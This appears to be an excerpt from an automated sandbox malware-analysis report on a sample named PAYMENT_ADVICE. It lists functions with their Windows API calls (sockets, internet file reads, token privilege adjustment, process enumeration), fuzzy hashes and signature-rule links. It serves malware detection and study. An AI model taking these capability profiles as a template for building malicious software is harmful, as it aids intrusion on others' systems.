                                                              • Opcode Fuzzy Hash: 57372b381d0d17761c55210a35a42f63c800b00182e8cb9d4119ca7c093046ff
                                                              • Instruction Fuzzy Hash: 1B21D0346002009FCB12EF68CC46FAEB7E9EF49324F154159E91AEB3A2C770AC01CB51
                                                              Function 00355520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00360DB6: std::exception::exception.LIBCMT ref: 00360DEC
                                                                • Part of subcall function 00360DB6: __CxxThrowException@8.LIBCMT ref: 00360E01
                                                              • _memmove.LIBCMT ref: 00390258
                                                              • _memmove.LIBCMT ref: 0039036D
                                                              • _memmove.LIBCMT ref: 00390414
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memmove$Exception@8Throwstd::exception::exception
                                                              • String ID:
                                                              • API String ID: 1300846289-0
                                                              • Opcode ID: 5e671f758ed05a8071763552beedad56782e5cd36c46b82dc24b655188680acb
                                                              • Instruction ID: f772f7c024799d717d963039d51ddca204a6910f54879d3a46a8c7880d749836
                                                              • Opcode Fuzzy Hash: 5e671f758ed05a8071763552beedad56782e5cd36c46b82dc24b655188680acb
                                                              • Instruction Fuzzy Hash: 3202B0B0A00209DFCF0ADF64D992AAE7BF9EF44300F158469E806DF255EB35E954CB91
                                                              Function 00341287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00342612: GetWindowLongW.USER32(?,000000EB), ref: 00342623
                                                              • DefDlgProcW.USER32(?,?,?,?,?), ref: 003419FA
                                                              • GetSysColor.USER32(0000000F), ref: 00341A4E
                                                              • SetBkColor.GDI32(?,00000000), ref: 00341A61
                                                                • Part of subcall function 00341290: DefDlgProcW.USER32(?,00000020,?), ref: 003412D8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ColorProc$LongWindow
                                                              • String ID:
                                                              • API String ID: 3744519093-0
                                                              • Opcode ID: 4123e44afd030fcf071d55c5dd540e3b131a85a96af93c4e68c44e445c5f1773
                                                              • Instruction ID: 99834bb1d113bd87521a46ea06cfa30320817d8261ae96e5c56502674775ee1b
                                                              • Opcode Fuzzy Hash: 4123e44afd030fcf071d55c5dd540e3b131a85a96af93c4e68c44e445c5f1773
                                                              • Instruction Fuzzy Hash: DAA16971112D44BAE63BAF284C48F7F69ECDF42341F16411AF506DE592CB28BD8097B6
                                                              Function 003B6747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 003B7D8B: inet_addr.WSOCK32(00000000), ref: 003B7DB6
                                                              • socket.WSOCK32(00000002,00000002,00000011), ref: 003B679E
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 003B67C7
                                                              • bind.WSOCK32(00000000,?,00000010), ref: 003B6800
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 003B680D
                                                              • closesocket.WSOCK32(00000000), ref: 003B6821
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$bindclosesocketinet_addrsocket
                                                              • String ID:
                                                              • API String ID: 99427753-0
                                                              • Opcode ID: debcff7074af58ed092ec4d9d56b95c8804c82d81f1b305c7ecde51c160818c3
                                                              • Instruction ID: 5e1b8fab46410d5b149c213d16408d35c86d43c7a8c9c03b738be7665dc101c5
                                                              • Opcode Fuzzy Hash: debcff7074af58ed092ec4d9d56b95c8804c82d81f1b305c7ecde51c160818c3
                                                              • Instruction Fuzzy Hash: 7441B275A00210AFDB12BF288C87F6E77E8DB49754F048459FA1AAF3D3CA74AD008791
                                                              Function 003C5376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                              • String ID:
                                                              • API String ID: 292994002-0
                                                              • Opcode ID: 1d09857419589813801ac6a2056b75c074ae8309de2d7468dbe28249ae304827
                                                              • Instruction ID: d9c8e54513acb14a77d97c72998329e9d5d6865f54dc869fbfa0a4a23bf8ae1a
                                                              • Opcode Fuzzy Hash: 1d09857419589813801ac6a2056b75c074ae8309de2d7468dbe28249ae304827
                                                              • Instruction Fuzzy Hash: AE119D323009516FEB236F269C44F6ABB9DEF857A1F41402DE846DB241CBB0FC418BA4
                                                              Function 003980A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 003980C0
                                                              • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 003980CA
                                                              • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 003980D9
                                                              • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 003980E0
                                                              • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 003980F6
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: HeapInformationToken$AllocErrorLastProcess
                                                              • String ID:
                                                              • API String ID: 44706859-0
                                                              • Opcode ID: d7d15ca5b36222417ba6a43bf8b462638834c1046e458072353cafc882181cb3
                                                              • Instruction ID: 9a0ea64316a5eecc29eb6d71c08c63f9562b6483a49f3e5bfe7a2730969f0a23
                                                              • Opcode Fuzzy Hash: d7d15ca5b36222417ba6a43bf8b462638834c1046e458072353cafc882181cb3
                                                              • Instruction Fuzzy Hash: BCF04F35240214AFEB120FA6EC8DE673BADFF8A755F040029F945D6150CA61AC41DB60
                                                              Function 00344B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryA.KERNEL32(kernel32.dll,?,00344AD0), ref: 00344B45
                                                              • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00344B57
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: AddressLibraryLoadProc
                                                              • String ID: GetNativeSystemInfo$kernel32.dll
                                                              • API String ID: 2574300362-192647395
                                                              • Opcode ID: 6dfdf27229594947d2f66b2f87cc7798faf2c81e2954a06524ef53cbbf3c3c61
                                                              • Instruction ID: 583d505e3d7a543390b1f12b9c8322af0a65bb62758155b0255515b24d0155b6
                                                              • Opcode Fuzzy Hash: 6dfdf27229594947d2f66b2f87cc7798faf2c81e2954a06524ef53cbbf3c3c61
                                                              • Instruction Fuzzy Hash: 3AD0EC74A10712CFDB229B31D818F4676D9AF05351B15883DD486D6160D770E880C755
                                                              Function 003BEE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateToolhelp32Snapshot.KERNEL32 ref: 003BEE3D
                                                              • Process32FirstW.KERNEL32(00000000,?), ref: 003BEE4B
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                              • Process32NextW.KERNEL32(00000000,?), ref: 003BEF0B
                                                              • CloseHandle.KERNEL32(00000000,?,?,?), ref: 003BEF1A
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
                                                              • String ID:
                                                              • API String ID: 2576544623-0
                                                              • Opcode ID: 70917ee1b52f5774deed2e85cc69b8743fe3ed835dae2c51e5ab219f680d68be
                                                              • Instruction ID: e0d9cda8edfa72ccdc341621971c3f01904e52ccf831e88a6a73e30ab07ace28
                                                              • Opcode Fuzzy Hash: 70917ee1b52f5774deed2e85cc69b8743fe3ed835dae2c51e5ab219f680d68be
                                                              • Instruction Fuzzy Hash: DB516E71504311AFD322EF24CC85EABB7E8EF94714F10482DF5959A2A2EB70E904CB92
                                                              Function 0039E616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • lstrlenW.KERNEL32(?,?,?,00000000), ref: 0039E628
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: lstrlen
                                                              • String ID: ($|
                                                              • API String ID: 1659193697-1631851259
                                                              • Opcode ID: 8eefc8138843279200fe649824ba98b2f2d55ffa3b0fb47cab84d4c095403d38
                                                              • Instruction ID: 48a8c3d03459a13af4b1324e2e581aebc9817e1016b86322546e2142bf6c06a4
                                                              • Opcode Fuzzy Hash: 8eefc8138843279200fe649824ba98b2f2d55ffa3b0fb47cab84d4c095403d38
                                                              • Instruction Fuzzy Hash: 9D323575A007059FDB29CF59C48196AB7F0FF48320B16C56EE89ADB7A1EB70E941CB40
                                                              Function 003B22EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,003B180A,00000000), ref: 003B23E1
                                                              • InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 003B2418
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Internet$AvailableDataFileQueryRead
                                                              • String ID:
                                                              • API String ID: 599397726-0
                                                              • Opcode ID: 0e87e79bfea7f3647929a8a725d7836a88efe46d4087b24ef19ed23c0c920b08
                                                              • Instruction ID: 340effd3e2195669e26a47a13efb15d172eb3d8c1b4dfc7017b67b19466dc8de
                                                              • Opcode Fuzzy Hash: 0e87e79bfea7f3647929a8a725d7836a88efe46d4087b24ef19ed23c0c920b08
                                                              • Instruction Fuzzy Hash: 74410375A00209BFEB129F96DC81EFFB7FCEB40318F10412AFB05A6940DA75AE419660
                                                              Function 003AB333 Relevance: 4.6, APIs: 3, Instructions: 73COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetErrorMode.KERNEL32(00000001), ref: 003AB343
                                                              • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 003AB39D
                                                              • SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 003AB3EA
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ErrorMode$DiskFreeSpace
                                                              • String ID:
                                                              • API String ID: 1682464887-0
                                                              • Opcode ID: a8e4ac7a48814c3b48885f075d1b3a2e5723744257d156e8c8165b010ad281de
                                                              • Instruction ID: 4f4cf10a1668df735ce2aa66d2c2b5ed09551e36809f52fbb1c1f88c3378b771
                                                              • Opcode Fuzzy Hash: a8e4ac7a48814c3b48885f075d1b3a2e5723744257d156e8c8165b010ad281de
                                                              • Instruction Fuzzy Hash: F2214A35A00108EFCB01EFA5D885AAEBBF8FF49310F1480AAE905AB251CB31A915CB50
                                                              Function 003987E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00360DB6: std::exception::exception.LIBCMT ref: 00360DEC
                                                                • Part of subcall function 00360DB6: __CxxThrowException@8.LIBCMT ref: 00360E01
                                                              • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0039882B
                                                              • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00398858
                                                              • GetLastError.KERNEL32 ref: 00398865
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
                                                              • String ID:
                                                              • API String ID: 1922334811-0
                                                              • Opcode ID: 02db21afc5781b7ced5b0eeb02b196972caac439b3cfb9694f42f669fdb0534b
                                                              • Instruction ID: b6253fb34156ff0c18bbc780e7d8689c50d7887a44df6744afb8c37c2cc347a7
                                                              • Opcode Fuzzy Hash: 02db21afc5781b7ced5b0eeb02b196972caac439b3cfb9694f42f669fdb0534b
                                                              • Instruction Fuzzy Hash: 73118CB2914204AFEB19DFA4DC86D6BBBFDFB45710B20852EF45697241EB30BC408B60
                                                              Function 0039874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00398774
                                                              • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 0039878B
                                                              • FreeSid.ADVAPI32(?), ref: 0039879B
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: AllocateCheckFreeInitializeMembershipToken
                                                              • String ID:
                                                              • API String ID: 3429775523-0
                                                              • Opcode ID: 5d1b9ff6b09f8cea617652660a49daa9f8382c34d27752835a41ea7a53d8b296
                                                              • Instruction ID: 7bb7792eb57a3071366bfb6d80b8ce9481546e8e87c444381a243db257db4195
                                                              • Opcode Fuzzy Hash: 5d1b9ff6b09f8cea617652660a49daa9f8382c34d27752835a41ea7a53d8b296
                                                              • Instruction Fuzzy Hash: BCF03775A11208BFDF00DFE49C89EBEBBBDEF08701F1044A9A901E2181E6716A048B50
                                                              Function 003A8889 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __time64.LIBCMT ref: 003A889B
                                                                • Part of subcall function 0036520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,003A8F6E,00000000,?,?,?,?,003A911F,00000000,?), ref: 00365213
                                                                • Part of subcall function 0036520A: __aulldiv.LIBCMT ref: 00365233
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Time$FileSystem__aulldiv__time64
                                                              • String ID: 0e@
                                                              • API String ID: 2893107130-3044860656
                                                              • Opcode ID: 7d057725d77fc37a8757de344a27fa1aa65f35205f7e216064d8e5f3b0293379
                                                              • Instruction ID: f70d9ea28d30d17f97a80810b282382ab59756bfa5b6cd6144bf6d9e409c79a9
                                                              • Opcode Fuzzy Hash: 7d057725d77fc37a8757de344a27fa1aa65f35205f7e216064d8e5f3b0293379
                                                              • Instruction Fuzzy Hash: 1121AF326256108BC72ACF29D841A52B7E5EBA5311B698E6CD0F6CF2C0CE34A905CB94
                                                              Function 003AC6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindFirstFileW.KERNEL32(?,?), ref: 003AC6FB
                                                              • FindClose.KERNEL32(00000000), ref: 003AC72B
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
